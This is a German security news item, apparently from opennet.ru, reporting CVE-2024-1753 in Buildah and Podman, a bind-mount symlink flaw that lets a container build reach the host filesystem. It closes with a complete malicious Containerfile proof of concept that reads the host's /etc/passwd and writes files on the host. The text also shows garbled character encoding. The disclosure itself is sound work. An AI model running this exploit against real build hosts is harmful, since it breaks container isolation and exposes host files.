In den Paketen Buildah und Podman wurde eine SicherheitsanfĂ€lligkeit (CVE-2024-1753) entdeckt, die den vollstĂ€ndigen Zugriff auf das Dateisystem der Host-Umgebung wĂ€hrend des Container-Bauprozesses mit Root-Rechten ermöglicht. Auf Systemen mit aktiviertem SELinux wird der Zugriff auf das Host-Dateisystem auf den Nur-Lesen-Modus beschrĂ€nkt. Ein Fix ist derzeit als Patch verfĂŒgbar, der vor wenigen Minuten in den Buildah-Code ĂŒbernommen wurde.
Die SicherheitsanfĂ€lligkeit entsteht dadurch, dass beim AusfĂŒhren von Mount-Operationen ĂŒber den Befehl âmount âbindâ wĂ€hrend des RUN-Prozesses das Argument mit dem Quellverzeichnis (Parameter âsource=â) nicht auf das Vorhandensein im Root-Dateisystem ĂŒberprĂŒft wird. Eine vom Angreifer manipulierte Containerfile-Konfiguration kann ein Container-Image verwenden, bei dem das Quellverzeichnis fĂŒr die Bindung als symbolischer Link auf das Root-Dateisystem dargestellt ist. In diesem Fall wird die Mount-Operation dazu fĂŒhren, dass das Root-Dateisystem der Host-Umgebung in den Container gemountet wird, was den vollstĂ€ndigen Zugriff auf das Dateisystem der Host-Umgebung wĂ€hrend des RUN-Prozesses ermöglicht und einen Ausstieg aus dem Container wĂ€hrend des Bauprozesses ĂŒber die Befehle âbuildah buildâ oder âpodman buildâ erlaubt.
Ein Beispiel fĂŒr eine bösartige Containerfile, deren Bau mit dem Befehl âpodman build -f ~/Containerfile .â dazu fĂŒhrt, dass der Inhalt von /etc/passwd angezeigt wird und die Dateien /BIND_BREAKEOUT und /etc/BIND_BREAKOUT2 im Host-Umfeld erstellt werden: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo âls container rootâ RUN ls -l / RUN echo âMit dem Exploit zeige den Host-Root, nicht den Root des Containers, und erstelle /BIND_BREAKOUT in / auf dem Hostâ RUN âmount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo âMit dem Exploit zeige den Host /etc/passwd, nicht den des Containers, und erstelle /BIND_BREAKOUT2 in /etc auf dem Hostâ RUN âmount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Quelle: opennet.ru
